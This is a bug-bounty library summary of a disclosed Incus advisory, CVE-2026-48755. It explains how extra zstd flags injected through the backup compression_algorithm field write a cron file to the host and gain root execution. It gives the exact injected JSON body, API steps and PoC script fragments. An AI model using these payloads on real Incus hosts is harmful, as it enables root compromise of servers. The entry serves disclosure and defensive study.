# Incus has an argument injection in backup compression algorithm leading to AFW and ACE

Incus validated only the first token of backup compression_algorithm, so extra zstd args injected -o to write arbitrary host files, escalating to cron RCE.

- Payout: Research
- Severity: critical
- Program: Incus
- Found by: antifob
- Disclosed: 2026-06-26
- CVE: CVE-2026-48755
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v6mj-8pf4-hhw4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v6mj-8pf4-hhw4
- Tags: area:cloud domain:infra impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go tech:rest technique:source-review vuln:command-injection vuln:file-upload

**Target:** incusd backup compression_algorithm handling (REST API /1.0/instances/{name}/backups)
**Root cause:** compression_algorithm is split with shellquote.Split and only fields[0] is checked against an allowlist; remaining fields are appended verbatim to the compressor argv in compressFile().
**Steps:**
1. Upload a cron payload into an instance via `POST /1.0/instances/{instance}/files?path=/incus-zstd-cron` with X-Incus-uid: 0, X-Incus-mode: 0644.
2. Send `POST /1.0/instances/{instance}/backups` with body `{"compression_algorithm": "zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/storage-pools/default/containers/<instance>/rootfs/incus-zstd-cron", "instance_only": true}`.
3. Daemon runs `zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>`, writing the staged payload to /etc/cron.d.
4. Cron executes the payload as root.
**How found:** Code review of the compression_algorithm validator: noticed shellquote.Split produces multiple fields but only fields[0] is allowlisted and exec.LookPath'd, while compressFile() forwards fields[1:] as arguments.
**Exploitation:** Authenticated Incus API client stages a cron file inside an instance rootfs, then triggers a direct backup with an injected zstd command line whose -o flag redirects output to /etc/cron.d; the backup may fail after zstd runs but the host file write is the primitive, yielding root command execution via cron.
**Escalation:** Arbitrary file write to /etc/cron.d escalates to root command execution on the host.
**Insight:** When a value is shell-split and only the first token allowlisted, the trailing tokens become attacker-controlled argv for a trusted binary; look for output-redirecting flags (-o, --output) in compressors/archivers to convert argument injection into arbitrary file write.

## Proof of concept (copied exactly from the original report)

**Malicious compression_algorithm value with zstd args**

```
zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

the daemon executes the equivalent of:

zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload
```

**PoC script building injected compressor and backup body**

```
compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}"
    body = {"compression_algorithm": compressor, "instance_only": True}
```

**PoC invocation command line**

```
python3 poc.py \
	--insecure --url https://remote-incus:8443 \
	--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
	--instance c01 \
	--execute --yes-i-understand-this-writes-host-file
```

